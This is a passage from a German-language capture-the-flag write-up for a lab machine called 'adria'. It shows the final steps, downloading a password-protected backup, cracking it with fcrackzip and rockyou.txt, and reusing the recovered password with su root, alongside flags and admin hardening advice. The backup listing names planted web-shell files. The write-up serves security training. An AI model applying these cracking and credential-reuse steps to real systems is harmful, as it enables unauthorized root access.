Empfehlung (Pentester): Die heruntergeladene `backup.zip` mit einem Tool wie `fcrackzip` oder `zip2john` + `john`/`hashcat` bearbeiten, um das Passwort zu extrahieren. Die `rockyou.txt` oder andere Wortlisten verwenden. Da das Passwort bereits aus der History bekannt ist (`8eN...`), ist dies eher eine Bestätigung, kann aber in anderen Szenarien der Weg sein.
Empfehlung (Admin): Sensible Dateien nicht unverschlüsselt oder mit schwachen/wiederverwendeten Passwörtern auf Servern ablegen. Netzwerk-Segmentierung und Firewalls verwenden, um den Zugriff auf interne Server (wie den Python-HTTP-Server auf Port 8000) zu beschränken.

╭─adriana@adria /opt
╰─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
backup.zip192.168.2.199 - - [26/Apr/2024 16:54:54] "GET /backup.zip HTTP/1.1" 200 -
┌──(root㉿cyber)-[~]
└─# wget http://192.168.2.110:8000/backup.zip
--2024-04-26 16:54:48--  http://192.168.2.110:8000/backup.zip
Verbindungsaufbau zu 192.168.2.110:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 12357773 (12M) [application/zip]
Wird in »backup.zip« gespeichert.

backup.zip              100%[=============================>]  11,79M  --.-KB/s    in 0,02s   

2024-04-26 16:54:48 (554 MB/s) - »backup.zip« gespeichert [12357773/12357773]

Analyse: Auf dem Angreifer-System wird `fcrackzip` verwendet, um das Passwort der heruntergeladenen `backup.zip` zu knacken. * `-D`: Dictionary-Modus (Passwörter aus einer Liste probieren). * `-u`: "Use unzip" - Verwendet `unzip` zur Passwortprüfung (oft schneller). * `-v`: Verbose-Modus. * `-p /usr/share/wordlists/rockyou.txt`: Gibt die Wortliste an. * `backup.zip`: Die Zieldatei.

Bewertung: `fcrackzip` ist erfolgreich und findet das Passwort: `8eNctPoCh4Potes5eVD7eMxUw6wRBmO`. Dies bestätigt endgültig, dass das Passwort aus der Bash-History korrekt ist und mit hoher Wahrscheinlichkeit auch das Root-Passwort ist (da es aus `/root/pass` stammt und zum Verschlüsseln der ZIP verwendet wurde).

Empfehlung (Pentester): Das gefundene/bestätigte Passwort verwenden, um mit `su root` Root-Rechte auf dem Zielsystem zu erlangen.
Empfehlung (Admin): Starke, nicht erratbare Passwörter verwenden. Passwort-Cracking durch Komplexitätsanforderungen und Account-Lockouts erschweren.

┌──(root㉿cyber)-[~]
└─# fcrackzip -D -u -v -p /usr/share/wordlists/rockyou.txt backup.zip
'var/www/html/' is not encrypted, skipping
'var/www/html/uploads/' is not encrypted, skipping
'var/www/html/uploads/.quarantine/' is not encrypted, skipping
found file 'var/www/html/uploads/.htaccess', (size cp/uc    408/   656, flags 9, chk 40a8)
found file 'var/www/html/uploads/vtfvazfnkflywvd.phar', (size cp/uc     43/    31, flags 9, chk 7e20)
'var/www/html/uploads/.tmb/' is not encrypted, skipping
'var/www/html/uploads/a/' is not encrypted, skipping
'var/www/html/uploads/a/admin/' is not encrypted, skipping
'var/www/html/uploads/a/admin/large/' is not encrypted, skipping
'var/www/html/uploads/a/admin/thumbnail/' is not encrypted, skipping
'var/www/html/uploads/a/admin/original/' is not encrypted, skipping
found file 'var/www/html/uploads/a/admin/original/avat_shell.php__19f41.png', (size cp/uc     46/    34, flags 9, chk 7b8c)
found file 'var/www/html/uploads/a/admin/original/avat_shell.php_.png', (size cp/uc     46/    34, flags 9, chk 7a57)
found file 'var/www/html/uploads/jrbosqfalbsqzes.phar', (size cp/uc     43/    31, flags 9, chk 7d93)
found file 'var/www/html/changelog.txt', (size cp/uc  15742/ 49250, flags 9, chk 40a8)
'var/www/html/front/' is not encrypted, skipping
found file 'var/www/html/front/login.php', (size cp/uc    950/  2099, flags 9, chk 40a8)
found file 'var/www/html/front/registration.php', (size cp/uc   2580/ 10784, flags 9, chk 40a8)
8 file maximum reached, skipping further files


PASSWORD FOUND!!!!: pw == 8eNctPoCh4Potes5eVD7eMxUw6wRBmO

Finale Privilegieneskalation


Analyse: Der entscheidende Schritt zur vollständigen Übernahme des Systems. Als Benutzer `adriana` wird `su root` ausgeführt und das zuvor aus der History extrahierte und durch `fcrackzip` bestätigte Passwort `8eNctPoCh4Potes5eVD7eMxUw6wRBmO` eingegeben.

Bewertung: Absolut erfolgreich! Das Passwort wird akzeptiert. Nach einer optionalen Update-Abfrage von Oh My Zsh wechselt der Prompt zu `╭─root@adria /opt \n╰─#`. Der Pentester hat nun vollständige Root-Rechte auf dem Zielsystem `adria.hmv`.

Empfehlung (Pentester): Fantastisch, das Ziel ist erreicht! Als Root: Root-Flag (`/root/root.txt`) auslesen. Persistenz einrichten (falls erforderlich und erlaubt). System gründlich auf weitere interessante Daten oder Konfigurationen untersuchen. Beweise sichern und Bericht schreiben.
Empfehlung (Admin): Das Root-Passwort sofort ändern! Die Quelle des Passwortlecks (Preseed-Datei, Bash-History, unsicheres Backup-Skript) identifizieren und beheben. Sicherstellen, dass Passwörter nicht in Klartext gespeichert oder in History-Dateien landen. Den Zugriff auf das System nach dem Vorfall gründlich untersuchen, um sicherzustellen, dass keine Backdoors hinterlassen wurden.

╭─adriana@adria /opt
╰─$ su root
Password: 8eNctPoCh4Potes5eVD7eMxUw6wRBmO
[oh-my-zsh] Would you like to update? [Y/n] y
Updating Oh My Zsh

 


  ____  / /_     ____ ___  __  __   ____  _____/ /_  
 / __ \/ __ \   / __ `__ \/ / / /  /_  / / ___/ __ \ 
/ /_/ / / / /  / / / / / / /_/ /    / /_(__  ) / / / 
\____/_/ /_/  /_/ /_/ /_/\__, /    /___/____/_/ /_/  
                        /____/                       

Hooray! Oh My Zsh has been updated!

To keep up with the latest news and updates, follow us on Twitter: https://twitter.com/ohmyzsh
Want to get involved in the community? Join our Discord: https://discord.gg/ohmyzsh
Get your Oh My Zsh swag at: https://shop.planetargon.com/collections/oh-my-zsh
╭─root@adria /opt 
╰─# 
╭─root@adria /opt
╰─# cd ~
╭─root@adria ~
╰─# ls
pass  root.txt
╭─root@adria ~
╰─# cat root.txt
3a61b172fd39402aa96b1653a18e38a1
╭─root@adria ~
╰─# cat pass
8eNctPoCh4Potes5eVD7eMxUw6wRBmO

Flags

cat user.txt
fbd401c3bff5ec92d1ba6f74a2340f0f
cat root.txt
3a61b172fd39402aa96b1653a18e38a1